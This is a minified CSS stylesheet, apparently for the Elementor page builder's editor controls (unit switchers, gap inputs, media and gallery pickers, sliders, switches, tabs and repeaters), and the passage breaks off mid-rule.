.elementor-responsive-switcher.elementor-responsive-switcher-widescreen{color:var(--e-a-color-primary-bold)}.elementor-device-desktop .elementor-responsive-switcher.elementor-responsive-switcher-desktop{height:2.5em;transform:scale(1);opacity:1}.elementor-device-desktop .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-desktop{color:var(--e-a-color-primary-bold)}.elementor-device-laptop .elementor-responsive-switcher.elementor-responsive-switcher-laptop{height:2.5em;transform:scale(1);opacity:1}.elementor-device-laptop .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-laptop{color:var(--e-a-color-primary-bold)}.elementor-device-tablet_extra .elementor-responsive-switcher.elementor-responsive-switcher-tablet_extra{height:2.5em;transform:scale(1);opacity:1}.elementor-device-tablet_extra .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-tablet_extra{color:var(--e-a-color-primary-bold)}.elementor-device-tablet .elementor-responsive-switcher.elementor-responsive-switcher-tablet{height:2.5em;transform:scale(1);opacity:1}.elementor-device-tablet .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-tablet{color:var(--e-a-color-primary-bold)}.elementor-device-mobile_extra .elementor-responsive-switcher.elementor-responsive-switcher-mobile_extra{height:2.5em;transform:scale(1);opacity:1}.elementor-device-mobile_extra .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-mobile_extra{color:var(--e-a-color-primary-bold)}.elementor-device-mobile .elementor-responsive-switcher.elementor-responsive-switcher-mobile{height:2.5em;transform:scale(1);opacity:1}.elementor-device-mobile .elementor-responsive-switchers-open:not(:hover) .elementor-responsive-switcher.elementor-responsive-switcher-mobile{color:var(--e-a-color-primary-bold)}.e-units-wrapper{position:relative;margin-inline-start:auto}.e-units-wrapper .e-units-switcher{cursor:pointer;font-size:10px;padding:.5em;margin:-.5em 0;transition:all .15s ease-in-out}.e-units-wrapper .e-units-switcher:hover{color:var(--e-a-color-primary-bold);background-color:var(--e-a-bg-hover);border-radius:var(--e-a-border-radius)}.e-units-wrapper .e-units-switcher:not([data-selected=custom]) i.eicon-edit,.e-units-wrapper .e-units-switcher[data-selected=custom] span{display:none}.e-units-wrapper .e-units-switcher i.eicon-angle-right{transform:rotate(90deg)}.e-units-choices input{display:none}.e-units-choices input:checked+label{color:var(--e-a-color-primary-bold)}.e-units-choices label{cursor:pointer;display:block}.e-units-choices{display:none;overflow:hidden;max-height:0;position:absolute;top:-.8em;left:-.5em;width:2.5em;text-align:center;background-color:var(--e-a-bg-default);border-radius:var(--e-a-border-radius);box-shadow:var(--e-a-dropdown-shadow);animation-timing-function:linear;animation-delay:0s;animation-fill-mode:forwards;z-index:11000}.e-units-choices .elementor-units-choices-label{display:flex;align-items:center;height:3em;justify-content:center;font-size:10px;transition:.15s}.e-units-choices .elementor-units-choices-label:hover{color:var(--e-a-color-primary-bold)}.e-units-choices.e-units-choices-open{display:block;animation-duration:1s;animation-name:e-units-choices-open}.e-units-custom input{font-family:monospace;font-size:.85em}@keyframes e-units-choices-open{0%{max-height:0}to{max-height:100vh}}.elementor-control-type-gaps .elementor-control-gaps{display:flex}.elementor-control-type-gaps li{flex:1;transition:flex-grow .3s ease-in-out}.elementor-control-type-gaps li .elementor-link-gaps,.elementor-control-type-gaps li input{display:block;text-align:center;width:100%;height:27px}.elementor-control-type-gaps li input{border-inline-start:none;border-radius:0;padding:var(--e-a-border-radius)}.elementor-control-type-gaps li input:focus{border-inline-start:var(--e-a-border-bold);margin-inline-start:-1px;width:calc(100% + 1px)}.elementor-control-type-gaps li input:focus+.elementor-control-gap-label{color:var(--e-a-color-txt)}.elementor-control-type-gaps li .elementor-link-gaps{border:var(--e-a-border-bold);border-inline-start:none;background-color:var(--e-a-bg-default);padding:0;outline:none;border-start-start-radius:0;border-start-end-radius:var(--e-a-border-radius);border-end-start-radius:0;border-end-end-radius:var(--e-a-border-radius);cursor:pointer}.elementor-control-type-gaps li:first-child input{border-inline-start:1px solid var(--e-a-border-color-bold);border-start-start-radius:var(--e-a-border-radius);border-start-end-radius:0;border-end-start-radius:var(--e-a-border-radius);border-end-end-radius:0}.elementor-control-type-gaps li:first-child input:focus{border-color:var(--e-a-border-color-focus);margin-inline-start:0;width:100%}.elementor-control-type-gaps li:last-child{max-width:27px}.elementor-control-type-gaps.e-units-custom li.elementor-control-gap:focus-within{flex:2.5}.elementor-control-type-gaps .elementor-control-gap-label{color:var(--e-a-color-txt-muted);display:block;text-align:center;font-size:9px;padding-block-start:5px}.elementor-control-type-gaps .elementor-link-gaps.unlinked{background-color:var(--e-a-bg-default)}.elementor-control-type-gaps .elementor-link-gaps.unlinked .elementor-linked{display:none}.elementor-control-type-gaps .elementor-link-gaps:not(.unlinked){background-color:var(--e-a-bg-active-bold);color:var(--e-a-color-txt-accent);border-color:var(--e-a-border-color-bold)}.elementor-control-type-gaps .elementor-link-gaps:not(.unlinked) .elementor-unlinked{display:none}.elementor-control-type-icons .elementor-control-media__preview>*{position:absolute;top:50%;left:50%;transform:translate(-50%,-50%)}.elementor-control-type-icons .elementor-control-media__preview i{font-size:70px}.elementor-control-type-icons .elementor-control-media__preview svg{height:75%}.elementor-control-type-icons .elementor-control-icons--inline__svg i.eicon-upload{font-size:15px}.elementor-control-type-gallery .elementor-control-media__content{border:var(--e-a-border-bold);border-radius:3px}.elementor-control-type-gallery .elementor-control-gallery-status{font-size:12px;height:27px;padding-inline-start:10px;border-block-end:var(--e-a-border-bold);display:flex}.elementor-control-type-gallery .elementor-control-gallery-status>*{display:flex;align-items:center}.elementor-control-type-gallery .elementor-control-gallery-status-title{flex-grow:1}.elementor-control-type-gallery .elementor-control-gallery-content{position:relative;overflow:hidden}.elementor-control-type-gallery .elementor-control-gallery-thumbnails{display:grid;grid-template-columns:repeat(auto-fill,minmax(48px,1fr));grid-gap:10px;cursor:pointer;padding:10px}.elementor-control-type-gallery .elementor-control-gallery-thumbnails:focus+.elementor-control-gallery-edit,.elementor-control-type-gallery .elementor-control-gallery-thumbnails:hover+.elementor-control-gallery-edit{opacity:1}.elementor-control-type-gallery .elementor-control-gallery-thumbnail{width:48px;height:48px;-o-object-fit:cover;object-fit:cover;border:var(--e-a-border)}.elementor-control-type-gallery .elementor-control-gallery-thumbnail+.unoptimized__image{outline:2px solid var(--e-a-btn-bg-danger-active);opacity:.6}.elementor-control-type-gallery .elementor-control-gallery-edit{position:absolute;top:0;bottom:0;left:0;right:0;background-color:rgba(0,0,0,.2);padding:10px;font-size:11px;transition:all .3s ease-in-out;pointer-events:none;cursor:pointer;opacity:0}.elementor-control-type-gallery .elementor-control-gallery-edit span{position:absolute;top:10px;right:10px;width:21px;height:21px;color:var(--e-a-color-white);background-color:rgba(0,0,0,.5);box-shadow:0 0 7px 0 rgba(0,0,0,.2);transition:var(--e-a-transition-hover)}.elementor-control-type-gallery .elementor-control-gallery-edit span i{font-size:11px;padding:5px}.elementor-control-type-gallery .elementor-control-gallery-edit span:hover{background-color:rgba(0,0,0,.6)}.elementor-control-type-gallery .elementor-control-gallery-add{width:48px;height:48px;font-size:14px}.elementor-control-type-gallery .elementor-control-gallery-add i{margin:0}.elementor-control-type-gallery.elementor-gallery-empty .elementor-control-gallery-clear,.elementor-control-type-gallery.elementor-gallery-empty .elementor-control-gallery-edit,.elementor-control-type-gallery.elementor-gallery-empty .elementor-control-gallery-thumbnails{display:none}.elementor-control-type-gallery.elementor-gallery-empty .elementor-control-gallery-content{padding:10px}.elementor-control-type-gallery.elementor-gallery-has-images .elementor-control-gallery-add{display:none}.elementor-control-type-gallery.elementor-control-dynamic .elementor-control-gallery-clear{border-inline-start:var(--e-a-border)}.elementor-control-type-gallery .elementor-control-gallery-clear{color:currentColor;background-color:transparent;border:none;cursor:pointer;justify-content:center}.elementor-control-type-gallery .elementor-control-gallery-clear:focus,.elementor-control-type-gallery .elementor-control-gallery-clear:hover{color:var(--e-a-color-danger)}.elementor-control-type-gallery .elementor-control-dynamic-switcher{border-width:0;border-inline-start-width:1px;border-block-end-width:1px;border-radius:0}.e-global__popover{width:288px;z-index:1;font-size:12px;padding-inline-start:10px}.e-global__popover-toggle{border:var(--e-a-border-bold);border-inline-end:0;border-start-start-radius:3px;border-start-end-radius:0;border-end-start-radius:3px;border-end-end-radius:0;display:flex;align-items:center;justify-content:center;cursor:pointer;transition:var(--e-a-transition-hover)}.e-global__popover-toggle:hover{background-color:var(--e-a-bg-hover)}.e-global__popover-toggle--active{color:var(--e-a-color-primary-bold);background-color:var(--e-a-bg-active-bold)}.e-global__popover-container{box-shadow:var(--e-a-popover-shadow);border-radius:var(--e-a-border-radius);background-color:var(--e-a-bg-default)}.e-global__popover-title{padding:15px 20px;font-weight:500;border-block-end:var(--e-a-border);display:flex}.e-global__popover-title>i{margin-inline-end:5px}.e-global__popover-title-text{flex-grow:1}.e-global__popover-info{margin-inline-end:10px;display:inline-block}.e-global__popover-info-tooltip{width:270px;z-index:1;background-color:rgba(0,0,0,.9);color:var(--e-a-color-white);padding:20px;border-radius:3px}.e-global__popover-info-tooltip:after{content:"";position:absolute;bottom:-17px;left:16px;border:10px solid transparent;border-block-start-color:rgba(0,0,0,.9)}.e-global__popover-info i{font-size:13px}.e-global__preview-items-container{max-height:400px;overflow-y:auto;padding:5px 0}.e-global__preview-items-container::-webkit-scrollbar{width:7px}.e-global__preview-items-container::-webkit-scrollbar-thumb{background-color:#babfc5;border-radius:10px}.e-global__manage-button{font-weight:500;cursor:pointer}.e-global__typography{padding-block:10px;padding-inline:35px 20px;white-space:nowrap;text-overflow:ellipsis;overflow:hidden}.e-global__typography.e-global__preview-item--selected:before{font-family:eicons;font-size:13px;content:"\e90e";position:absolute;transform:translateY(-50%);top:50%;inset-inline-start:13px}.e-global__color{padding:10px 20px;display:flex;align-items:center}.e-global__color-preview-container{height:20px;width:20px;border-radius:3px;border:1px solid rgba(0,0,0,.1);margin-inline-end:10px;flex-shrink:0;position:relative}.e-global__color-preview-color,.e-global__color-preview-transparent-bg{border-radius:3px;height:100%;width:100%;position:absolute;top:0;left:0}.e-global__color-preview-transparent-bg{background-image:linear-gradient(45deg,var(--e-a-border-color-bold) 25%,transparent 0,transparent 75%,var(--e-a-border-color-bold) 0,var(--e-a-border-color-bold)),linear-gradient(45deg,var(--e-a-border-color-bold) 25%,transparent 0,transparent 75%,var(--e-a-border-color-bold) 0,var(--e-a-border-color-bold));background-size:12px 12px;background-position:0 0,calc(12px / 2) calc(12px / 2)}.e-global__color-title{flex-grow:1;white-space:nowrap;text-overflow:ellipsis;overflow:hidden;padding-inline-end:10px}.e-global__color-hex{font-size:10px;color:var(--e-a-color-txt-muted)}.e-global__color .pcr-button{background-color:var(--e-a-bg-default)}.e-global__color.e-global__preview-item--selected .e-global__color-preview-container{display:flex;justify-content:center;align-items:center;color:var(--e-a-color-white)}.e-global__color.e-global__preview-item--selected .e-global__color-preview-container:before{font-family:eicons;font-size:13px;content:"\e90e";text-shadow:0 0 1px #000;z-index:1}.e-global__preview-item{cursor:pointer;position:relative}.e-global__preview-item:hover{background-color:var(--e-a-bg-hover)}.e-global__confirm-delete i,.e-global__confirm-message-text i{color:var(--e-a-color-warning)}.e-global__confirm-input-wrapper{display:flex;align-items:center;border:var(--e-a-border);border-radius:var(--e-a-border-radius);margin:15px 0;padding:2px}.e-global__confirm-input-wrapper input{font-family:var(--e-a-font-family);font-size:12px;padding:2px;border:0}.e-control-global .elementor-control-input-wrapper{display:flex;justify-content:flex-end;max-width:135px;width:100%}.e-control-global.elementor-control .elementor-control-input-wrapper{display:flex;flex-direction:row;align-items:stretch}.e-control-global .elementor-control-spinner{margin-inline-end:4px}.elementor-control-type-hidden{display:none!important}.elementor-control-type-icon .select2-selection__rendered .eicon{margin-inline-end:3px}.elementor-control-type-image_dimensions .elementor-control-field-description{margin:0 0 15px;line-height:1.4}.elementor-control-type-image_dimensions .elementor-control-input-wrapper{display:flex;align-items:flex-start}.elementor-control-type-image_dimensions .elementor-image-dimensions-field{width:65px}.elementor-control-type-image_dimensions .elementor-image-dimensions-field input:focus+.elementor-image-dimensions-field-description{color:var(--e-a-color-txt)}.elementor-control-type-image_dimensions .elementor-image-dimensions-separator{width:20px;text-align:center;padding-block-start:4px}.elementor-control-type-image_dimensions .elementor-image-dimensions-field-description{display:block;margin-block-start:5px;color:var(--e-a-color-txt-disabled);font-size:10px;text-align:center}.elementor-control-type-image_dimensions .elementor-image-dimensions-apply-button{margin-inline-start:auto}.elementor-control-media.e-media-empty-placeholder .e-control-image-size,.elementor-control-media.e-media-empty .elementor-control-media-area .elementor-control-media__content__remove,.elementor-control-media.e-media-empty .elementor-control-media-area .elementor-control-media__remove,.elementor-control-media:not(.e-media-empty) .elementor-control-media__content__upload-button{display:none}.elementor-control-media .eicon-plus-circle{position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);color:var(--e-a-color-white);font-size:20px}.elementor-control-media__content__upload-button{background-color:var(--e-a-bg-active-bold)}.elementor-control-media__preview{height:100%;background-size:cover;background-position:50%;padding-block-end:42.8571%}.elementor-control-media-area{background-image:linear-gradient(45deg,var(--e-a-border-color-bold) 25%,transparent 0,transparent 75%,var(--e-a-border-color-bold) 0,var(--e-a-border-color-bold)),linear-gradient(45deg,var(--e-a-border-color-bold) 25%,transparent 0,transparent 75%,var(--e-a-border-color-bold) 0,var(--e-a-border-color-bold));background-size:16px 16px;background-position:0 0,calc(16px / 2) calc(16px / 2);background-color:var(--e-a-bg-default);border:var(--e-a-border-bold);aspect-ratio:21/9}.elementor-control-media-area:not(:hover) .elementor-control-media__remove{display:none}.elementor-control-media-area .eicon-video-camera{position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);color:hsla(0,0%,100%,.7);font-size:21px}.elementor-control-media .elementor-control-media__content{aspect-ratio:21/9;position:relative;cursor:pointer;overflow:hidden}.elementor-control-media .elementor-control-media__content:hover:after{content:"";position:absolute;top:0;bottom:0;left:0;right:0;background-color:rgba(0,0,0,.2);pointer-events:none}.elementor-control-media .elementor-control-media__content:not(:hover) .elementor-control-media__tools{bottom:-30px}.elementor-control-media__content{transition:all .2s ease-in-out}.elementor-control-media__tools{position:absolute;bottom:0;left:0;right:0;height:27px;transition:all .2s ease-in-out}.elementor-control-media__tools>:not(:first-child){margin-inline-start:1px}.elementor-control-media__tool{display:flex;align-items:center;justify-content:center;flex-grow:1;color:var(--e-a-color-white);background-color:rgba(0,0,0,.9);font-size:11px;transition:var(--e-a-transition-hover)}.elementor-control-media__tool:hover{background-color:rgba(0,0,0,.8)}.elementor-control-media__remove{display:flex;align-items:center;justify-content:center;transition:all .3s ease-in-out}.elementor-control-media__content__remove{position:absolute;z-index:1;top:10px;right:10px;width:20px;height:20px;font-size:11px;color:var(--e-a-color-white);background-color:rgba(0,0,0,.5);border-radius:var(--e-border-radius);box-shadow:0 0 7px 0 rgba(0,0,0,.2);transition:var(--e-a-transition-hover)}.elementor-control-media__content__remove:hover{background-color:rgba(0,0,0,.6)}.elementor-control-media.e-media-empty .elementor-control-file-area,.elementor-control-media__warnings:empty{display:none}.elementor-control-media__warnings:not(:empty){margin-block-start:10px}.elementor-control-media__file{display:flex;justify-content:space-between;align-items:center;width:100%;margin-block-start:10px;border:var(--e-a-border)}.elementor-control-media__file__content{padding-inline-start:5px;font-size:12px}.elementor-control-media__file__content__label{color:#9da5ae}.elementor-control-media__file__content__info{display:flex;align-items:center;font-weight:500}.elementor-control-media__file__content__info__icon{margin-inline-end:5px}.elementor-control-media__file__controls{display:flex;border-inline-start:var(--e-a-border)}.elementor-control-media__file__controls__remove,.elementor-control-media__file__controls__upload-button{width:27px;height:27px;cursor:pointer;align-items:center}.elementor-control-media__file__controls__upload-button{display:flex;justify-content:center}.elementor-control-media__file__controls__remove{border-inline-end:var(--e-a-border)}.elementor-control-media.e-media-empty .elementor-control-media__file__content__info,.elementor-control-media.e-media-empty .elementor-control-media__file__controls__remove,.elementor-control-media:not(.e-media-empty) .elementor-control-media__file__content__label{display:none}.elementor-control-media .elementor-control-dynamic-switcher{border:none;border-radius:0;background-color:rgba(0,0,0,.9);color:var(--e-a-color-white)}.elementor-control-media .elementor-control-dynamic-switcher:hover{background-color:rgba(0,0,0,.8);color:var(--e-a-color-white)}.elementor-control-media .e-control-image-size{display:flex;flex-direction:column;width:100%;padding-block-start:20px}.elementor-control-media .e-control-image-size .elementor-control-input-wrapper{margin-inline-start:auto}.elementor-control-type-media.elementor-control-dynamic-value .elementor-control-input-wrapper{border:none}.elementor-control:not(.elementor-control-type-icons) .elementor-control-media__preview{background-color:var(--e-a-bg-active-bold)}.elementor-control-notice{display:flex;justify-content:flex-start;align-items:flex-start;gap:8px;padding:16px;border-radius:3px;border:1px solid var(--notice-control-color,var(--e-a-color-txt));color:var(--e-a-color-txt);font-size:12px;font-weight:400;line-height:1.5;text-align:start;margin-block-start:10px}.elementor-control-notice-type-info{--notice-control-color:var(--e-a-color-info)}.elementor-control-notice-type-success{--notice-control-color:var(--e-a-color-success)}.elementor-control-notice-type-warning{--notice-control-color:var(--e-a-color-warning)}.elementor-control-notice-type-danger{--notice-control-color:var(--e-a-color-danger)}.elementor-control-notice-icon{flex-basis:18px;color:var(--notice-control-color)}.elementor-control-notice-main{display:flex;flex-direction:column;justify-content:flex-start;align-items:flex-start;gap:6px;flex:1}.elementor-control-notice-main-heading{font-weight:700;font-style:italic}.elementor-control-notice-main-content{font-style:italic;line-height:1.5}.elementor-control-notice-main-actions{display:flex;gap:10px;padding-block-start:8px}.elementor-control-notice-main a{color:inherit;font-weight:700;cursor:pointer}.elementor-control-notice-main a:focus,.elementor-control-notice-main a:hover{color:inherit}.elementor-control-notice-dismiss{-webkit-appearance:none;-moz-appearance:none;appearance:none;background-color:transparent;border:0;padding:0;margin:0;cursor:pointer}.elementor-control-type-popover_toggle input{display:none}.elementor-control-type-popover_toggle label{cursor:pointer}.elementor-control-type-popover_toggle .elementor-control-input-wrapper{display:flex;flex-direction:row-reverse;align-items:center}.elementor-control-type-popover_toggle .elementor-control-popover-toggle-toggle:checked+.elementor-control-popover-toggle-toggle-label{color:var(--e-a-color-txt-active);background-color:var(--e-a-bg-active-bold)}.elementor-control-type-popover_toggle .elementor-control-popover-toggle-toggle:not(:checked)~.elementor-control-popover-toggle-reset-label{display:none}.elementor-control-type-popover_toggle .elementor-control-popover-toggle-toggle-label{height:27px;display:inline-flex;align-items:center;justify-content:center;border-radius:var(--e-a-border-radius);border:var(--e-a-border-bold);transition:var(--e-a-transition-hover)}.elementor-control-type-popover_toggle .elementor-control-popover-toggle-toggle-label:hover{background-color:var(--e-a-bg-hover)}.elementor-control-type-popover_toggle .elementor-control-popover-toggle-reset-label{color:var(--e-a-color-txt-muted);margin-inline-end:5px}.elementor-control-type-popover_toggle .elementor-control-popover-toggle-reset-label:hover{color:var(--e-a-color-txt)}.elementor-controls-popover.e-controls-popover--typography{padding-block-start:0}.e-control-global .elementor-control-popover-toggle-toggle-label{border-start-start-radius:0;border-start-end-radius:var(--e-a-border-radius);border-end-start-radius:0;border-end-end-radius:var(--e-a-border-radius);flex-shrink:0}.elementor-control-type-repeater .elementor-control:not(.elementor-control-type-tab){padding-inline-start:10px;padding-inline-end:10px;padding-block-end:10px}.elementor-control-type-repeater.elementor-repeater-has-maximum-rows .elementor-repeater-add,.elementor-control-type-repeater.elementor-repeater-has-maximum-rows .elementor-repeater-tool-duplicate,.elementor-control-type-repeater.elementor-repeater-has-minimum-rows .elementor-repeater-tool-remove{display:none}.elementor-control-type-repeater .elementor-repeater-fields{margin:10px 0}.elementor-control-type-repeater .elementor-repeater-row-controls{border:var(--e-a-border-bold);border-block-start-width:0;padding-block-start:15px}.elementor-control-type-repeater .elementor-repeater-row-controls:not(.editable){display:none}.elementor-control-type-repeater .elementor-repeater-row-tools{display:flex;align-items:center;width:100%;border:1px solid var(--e-a-border-color-bold);transition:var(--e-a-transition-hover)}.elementor-control-type-repeater .elementor-repeater-row-tools>button{display:flex;align-items:center;justify-content:center;height:40px;border:none;background-color:transparent;color:currentColor;cursor:pointer}.elementor-control-type-repeater .elementor-repeater-row-tools>button:focus,.elementor-control-type-repeater .elementor-repeater-row-tools>button:hover{background-color:var(--e-a-bg-hover)}.elementor-control-type-repeater .elementor-repeater-row-tools .elementor-repeater-row-item-title{flex:1;justify-content:flex-start;padding:0 10px;font-size:var(--control-title-size);white-space:nowrap;text-overflow:ellipsis;overflow:hidden}.elementor-control-type-repeater .elementor-repeater-row-tools .elementor-repeater-row-item-title .eicon,.elementor-control-type-repeater .elementor-repeater-row-tools .elementor-repeater-row-item-title i,.elementor-control-type-repeater .elementor-repeater-row-tools .elementor-repeater-row-item-title svg{margin-inline-end:5px}.elementor-control-type-repeater .elementor-repeater-row-tools .elementor-repeater-row-item-title img[src$=svg]{width:1em}.elementor-control-type-repeater .elementor-repeater-row-tools .elementor-repeater-row-tool{width:40px;border-inline-start:1px solid var(--e-a-border-color-bold)}.elementor-control-type-repeater .elementor-repeater-row-tools .elementor-repeater-row-handle-sortable{width:10px;border-inline-end:1px solid var(--e-a-border-color-bold);cursor:move}.elementor-control-type-repeater .elementor-button-wrapper{text-align:center;padding-block-start:5px}#elementor-controls{padding-block-start:15px}.elementor-control-type-section{padding:0}.elementor-control-type-section.e-open{padding-block-end:10px}.elementor-control-type-section+.elementor-control:not(.elementor-control-type-section):before{display:none}.elementor-control-type-section:not(:first-child):not(.elementor-control-type-section+.elementor-control-type-section){margin-block-start:25px}.elementor-control-type-select .elementor-control-input-wrapper{position:relative}.elementor-control-type-select .elementor-control-input-wrapper select{-webkit-appearance:none;-moz-appearance:none;appearance:none;font-size:var(--control-title-size);font-family:inherit;font-weight:inherit;font-style:inherit;text-transform:inherit;letter-spacing:inherit;line-height:inherit;flex-basis:100%;padding-inline-start:5px;padding-inline-end:20px;cursor:pointer}.elementor-control-type-select .elementor-control-input-wrapper select.e-select-placeholder{color:var(--e-a-color-txt-disabled)}.elementor-control-type-select .elementor-control-input-wrapper option.e-option-placeholder{display:none}.elementor-control-type-select .elementor-control-input-wrapper:after{font-family:eicons;content:"\e8ad";font-size:12px;position:absolute;top:50%;transform:translateY(-50%);right:5px;pointer-events:none}.elementor-control-type-select .elementor-control-field.elementor-control-field-select-small .elementor-control-input-wrapper{max-width:80px}.elementor-shadow-box .elementor-shadow-slider{margin-block-start:10px}.elementor-shadow-box .elementor-color-picker-wrapper .elementor-control-title{flex-grow:1}.elementor-control-type-slider.elementor-control-dynamic input{border-start-start-radius:var(--e-a-border-radius);border-start-end-radius:0;border-end-start-radius:var(--e-a-border-radius);border-end-end-radius:0}.elementor-control-type-slider .elementor-control-unit-2{width:21%}.elementor-control-type-slider.elementor-control-type-slider--multiple .elementor-control-input-wrapper{display:block}.elementor-control-type-slider--multiple{padding-block-end:40px}.elementor-control-type-slider--multiple .elementor-slider{margin-block-start:12px;width:98%}.elementor-control-type-slider--handles-range .elementor-slider .noUi-handle{border-radius:0;width:10px;transform:translateY(calc(50% - 14px)) translateX(4px)}.elementor-control-type-slider--handles-range .elementor-slider .noUi-handle:after{content:"";position:absolute;top:2px;height:12px;width:11px;transform:rotate(45deg);background-color:var(--e-a-color-white);border-radius:3px}.elementor-control-type-slider--handles-range .elementor-slider .noUi-handle-lower:after{left:5px;box-shadow:2px -2px 3px 0 rgba(0,0,0,.1)}.elementor-control-type-slider--handles-range .elementor-slider .noUi-handle-upper:after{right:5px;box-shadow:-2px 2px 3px 0 rgba(0,0,0,.1)}.elementor-control-type-slider .elementor-control-dynamic-switcher{border-inline-start-width:0;border-start-start-radius:0;border-start-end-radius:var(--e-a-border-radius);border-end-start-radius:0;border-end-end-radius:var(--e-a-border-radius)}.elementor-control-type-slider .elementor-control-input-wrapper{display:flex;align-items:center}.elementor-control-type-slider .elementor-dynamic-cover{margin-block-start:10px}.elementor-control-type-slider.e-units-custom .elementor-slider{display:none}.elementor-control-type-slider.e-units-custom .elementor-slider-input{width:100%;margin:0;transition:none}.elementor-slider{flex-grow:1;height:4px;background-color:var(--e-a-border-color-bold);border-radius:5px;position:relative;cursor:pointer}.elementor-slider-input{width:21%;min-width:54px;margin-inline-start:12px;transition:width .3s ease-in-out}.elementor-slider__extra{position:relative}.elementor-slider__labels{display:flex;justify-content:space-between}.elementor-slider__label{font-size:9px;color:var(--e-a-color-txt-disabled)}.elementor-slider__scales{position:absolute;display:flex;justify-content:space-evenly;width:100%;margin-block-start:4px}.elementor-slider__scale{width:1px;height:21px;background-color:var(--e-a-border-color-focus)}.elementor-slider .noUi-handle{height:16px;width:16px;background-color:var(--e-a-color-white);right:0;transform:translateY(calc(50% - 14px)) translateX(8px);position:absolute;box-shadow:0 1px 5px rgba(0,0,0,.3);border-radius:50%}.elementor-slider .noUi-connects{position:absolute;width:100%;height:4px}.elementor-slider .noUi-connect{position:absolute;z-index:0;top:0;left:0;height:100%;width:100%;will-change:transform;transform-origin:0 0;background-color:var(--e-a-border-color-focus)}.elementor-slider .noUi-tooltip{position:absolute;top:calc(100% + 5px);left:calc(50% - 4px);transform:translateX(-50%);font-size:10px}.elementor-control-type-structure .elementor-control-field{display:initial}.elementor-control-type-structure .elementor-control-structure-preset{padding:3px;border-radius:var(--e-border-radius);display:inline-block;cursor:pointer;height:50px}.elementor-control-type-structure .elementor-control-structure-preset svg{height:100%}.elementor-control-type-structure .elementor-control-structure-preset path{fill:var(--e-a-border-color-bold)}.elementor-control-type-structure .elementor-control-structure-reset{padding:15px 20px 0;font-size:11px;cursor:pointer;color:var(--e-a-color-txt-muted);border-block-start:var(--e-a-border);margin:0 -20px}.elementor-control-type-structure .elementor-control-structure-reset:hover{color:var(--e-a-color-txt)}.elementor-control-type-structure .elementor-control-structure-title{margin:10px -20px 0}.elementor-control-type-structure .elementor-control-structure-title:before{height:10px;box-shadow:inset 0 2px 4px hsla(0,0%,49.8%,.1)}.elementor-control-type-structure .elementor-control-structure-presets{display:flex;flex-wrap:wrap;justify-content:space-between}.elementor-control-type-structure .elementor-control-structure-presets input{display:none}.elementor-control-type-structure .elementor-control-structure-presets input:checked+.elementor-control-structure-preset path{fill:var(--e-a-border-color-focus)}.elementor-control-type-structure .elementor-control-structure-preset-wrapper{margin-block-end:15px}.elementor-control-type-structure .elementor-control-structure-preset-title{text-align:center;padding-block-start:5px;font-style:italic;font-size:11px;color:#9da5ae}.elementor-control-type-switcher .elementor-control-input-wrapper{text-align:end}.elementor-control-type-switcher .elementor-switch{position:relative;display:inline-block;vertical-align:top;height:20px;background-color:var(--e-a-bg-default);border-radius:18px;cursor:pointer}.elementor-control-type-switcher .elementor-switch-input{display:none}.elementor-control-type-switcher .elementor-switch-label{position:relative;display:block;height:inherit;font-size:10px;background:var(--e-a-bg-active-bold);border-radius:inherit;transition:.15s ease-out;transition-property:opacity,background}.elementor-control-type-switcher .elementor-switch-label:after,.elementor-control-type-switcher .elementor-switch-label:before{position:absolute;top:0;width:50%;text-align:center;line-height:20px;transition:inherit}.elementor-control-type-switcher .elementor-switch-label:before{content:attr(data-off);right:5px;color:var(--e-a-color-txt-muted)}.elementor-control-type-switcher .elementor-switch-label:after{content:attr(data-on);left:5px;color:var(--e-a-btn-color);opacity:0}.elementor-control-type-switcher .elementor-switch-input:checked~.elementor-switch-label{background:var(--e-a-btn-bg-primary)}.elementor-control-type-switcher .elementor-switch-input:checked~.elementor-switch-label:before{opacity:0}.elementor-control-type-switcher .elementor-switch-input:checked~.elementor-switch-label:after{opacity:1}.elementor-control-type-switcher .elementor-switch-handle{position:absolute;top:1px;left:1px;width:18px;height:18px;background:#fff;border-radius:10px;transition:left .15s ease-out}.elementor-control-type-switcher .elementor-switch-input:checked~.elementor-switch-handle{left:auto;right:1px}.elementor-control-type-tabs{display:flex;font-size:var(--control-title-size)}.elementor-control-type-tab{text-align:center;width:100%;padding:0;line-height:25px;border-block-start:var(--e-a-border-bold);border-block-end:var(--e-a-border-bold);border-inline-end:var(--e-a-border-bold);transition:var(--e-a-transition-hover);cursor:pointer}.elementor-control-type-tab:first-child{border-inline-start:var(--e-a-border-bold);border-start-start-radius:var(--e-a-border-radius);border-end-start-radius:var(--e-a-border-radius)}.elementor-control-type-tab:last-child{border-start-end-radius:var(--e-a-border-radius);border-end-end-radius:var(--e-a-border-radius)}.elementor-control-type-tab:hover{background-color:var(--e-a-bg-hover)}.elementor-control-type-tab.e-tab-active{background-color:var(--e-a-bg-active-bold);color:var(--e-a-color-txt-accent)}.e-tab-close{display:none!important}.elementor-control-type-code .elementor-control-dynamic-switcher,.elementor-control-type-textarea .elementor-control-dynamic-switcher{border-inline-start-width:1px;border-start-start-radius:0;border-start-end-radius:0;border-end-end-radius:0;border-end-start-radius:var(--e-a-border-radius)}.elementor-control-type-code:not(.elementor-control-dynamic-value) .elementor-control-dynamic-switcher,.elementor-control-type-textarea:not(.elementor-control-dynamic-value) .elementor-control-dynamic-switcher{position:absolute;top:0;right:0;z-index:1}.elementor-control-type-code .elementor-control-input-wrapper,.elementor-control-type-textarea .elementor-control-input-wrapper{position:relative}.elementor-control-type-code textarea,.elementor-control-type-textarea textarea{display:block;font-family:inherit}.elementor-control-type-code textarea:focus+.elementor-control-dynamic-switcher,.elementor-control-type-textarea textarea:focus+.elementor-control-dynamic-switcher{display:none}.elementor-control-type-code pre:focus-within+.elementor-control-dynamic-switcher,.elementor-control-type-textarea pre:focus-within+.elementor-control-dynamic-switcher{display:none}.elementor-control-type-url .elementor-control-field{position:relative}.elementor-control-type-url .elementor-control-input-wrapper{display:flex}.elementor-control-type-url.elementor-control-dynamic .elementor-control-url-more-options input{border-radius:var(--e-a-border-radius)}.elementor-control-type-url.elementor-control-dynamic-value 